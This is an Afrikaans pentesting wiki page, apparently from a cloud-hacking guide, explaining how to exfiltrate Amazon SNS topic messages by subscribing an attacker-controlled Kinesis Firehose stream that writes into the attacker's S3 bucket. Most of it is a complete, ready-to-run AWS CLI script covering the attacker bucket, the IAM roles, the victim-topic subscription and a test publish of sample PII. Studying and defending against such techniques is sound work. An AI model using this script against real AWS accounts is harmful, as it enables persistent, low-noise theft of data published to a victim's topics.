AWS - SNS to Kinesis Firehose Exfiltration (Fanout to S3)
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Misbruik die Firehose subskripsieprotokol om ’n attacker-controlled Kinesis Data Firehose delivery stream op ’n victim SNS standard topic te registreer. Sodra die subskripsie in plek is en die vereiste IAM rol sns.amazonaws.com vertrou, word elke toekomstige kennisgewing permanent in die attacker’s S3 bucket geskryf met minimale geraas.
Vereistes
- Permissies in die attacker rekening om ’n S3 bucket, Firehose delivery stream, en die IAM rol wat deur Firehose gebruik word te skep (
firehose:*,iam:CreateRole,iam:PutRolePolicy,s3:PutBucketPolicy, ens.). - Die vermoë om
sns:Subscribeop die victim topic uit te voer (en opsioneelsns:SetSubscriptionAttributesas die subscription role ARN na skepping verskaf word). - ’n Topic policy wat die attacker principal toelaat om te subscribe (of die attacker funksioneer reeds binne dieselfde rekening).
Aanvalsstappe (dieselfde-rekening voorbeeld)
REGION=us-east-1
ACC_ID=$(aws sts get-caller-identity --query Account --output text)
SUFFIX=$(date +%s)
# 1) Create attacker S3 bucket and Firehose delivery stream
ATTACKER_BUCKET=ht-firehose-exfil-$SUFFIX
aws s3 mb s3://$ATTACKER_BUCKET --region $REGION
STREAM_NAME=ht-firehose-stream-$SUFFIX
FIREHOSE_ROLE_NAME=FirehoseAccessRole-$SUFFIX
# Role Firehose assumes to write into the bucket
aws iam create-role --role-name "$FIREHOSE_ROLE_NAME" --assume-role-policy-document '{
"Version": "2012-10-17",
"Statement": [{"Effect": "Allow","Principal": {"Service": "firehose.amazonaws.com"},"Action": "sts:AssumeRole"}]
}'
cat > /tmp/firehose-s3-policy.json <<JSON
{"Version":"2012-10-17","Statement":[{"Effect":"Allow","Action":["s3:AbortMultipartUpload","s3:GetBucketLocation","s3:GetObject","s3:ListBucket","s3:ListBucketMultipartUploads","s3:PutObject"],"Resource":["arn:aws:s3:::$ATTACKER_BUCKET","arn:aws:s3:::$ATTACKER_BUCKET/*"]}]}
JSON
aws iam put-role-policy --role-name "$FIREHOSE_ROLE_NAME" --policy-name AllowS3Writes --policy-document file:///tmp/firehose-s3-policy.json
aws firehose create-delivery-stream \
--delivery-stream-name "$STREAM_NAME" \
--delivery-stream-type DirectPut \
--s3-destination-configuration RoleARN=arn:aws:iam::$ACC_ID:role/$FIREHOSE_ROLE_NAME,BucketARN=arn:aws:s3:::$ATTACKER_BUCKET \
--region $REGION >/dev/null
# 2) IAM role SNS assumes when delivering into Firehose
SNS_ROLE_NAME=ht-sns-to-firehose-role-$SUFFIX
aws iam create-role --role-name "$SNS_ROLE_NAME" --assume-role-policy-document '{
"Version": "2012-10-17",
"Statement": [{"Effect": "Allow","Principal": {"Service": "sns.amazonaws.com"},"Action": "sts:AssumeRole"}]
}'
cat > /tmp/allow-firehose.json <<JSON
{"Version":"2012-10-17","Statement":[{"Effect":"Allow","Action":["firehose:PutRecord","firehose:PutRecordBatch"],"Resource":"arn:aws:firehose:$REGION:$ACC_ID:deliverystream/$STREAM_NAME"}]}
JSON
aws iam put-role-policy --role-name "$SNS_ROLE_NAME" --policy-name AllowFirehoseWrites --policy-document file:///tmp/allow-firehose.json
SNS_ROLE_ARN=arn:aws:iam::$ACC_ID:role/$SNS_ROLE_NAME
# 3) Subscribe Firehose to the victim topic
TOPIC_ARN=<VICTIM_TOPIC_ARN>
aws sns subscribe \
--topic-arn "$TOPIC_ARN" \
--protocol firehose \
--notification-endpoint arn:aws:firehose:$REGION:$ACC_ID:deliverystream/$STREAM_NAME \
--attributes SubscriptionRoleArn=$SNS_ROLE_ARN \
--region $REGION
# 4) Publish test message and confirm arrival in S3
aws sns publish --topic-arn "$TOPIC_ARN" --message 'pii:ssn-123-45-6789' --region $REGION
sleep 90
aws s3 ls s3://$ATTACKER_BUCKET/ --recursive
Opruiming
- Verwyder die SNS-intekening, Firehose-afleweringsstroom, tydelike IAM-rolle/beleide, en attacker S3-bucket.
Impak
Potensiële Impak: Deurlopende, volhoubare exfiltration van elke boodskap wat na die geteikende SNS topic gepubliseer word in attacker-gekontroleerde berging met ’n minimale operasionele voetspoor.
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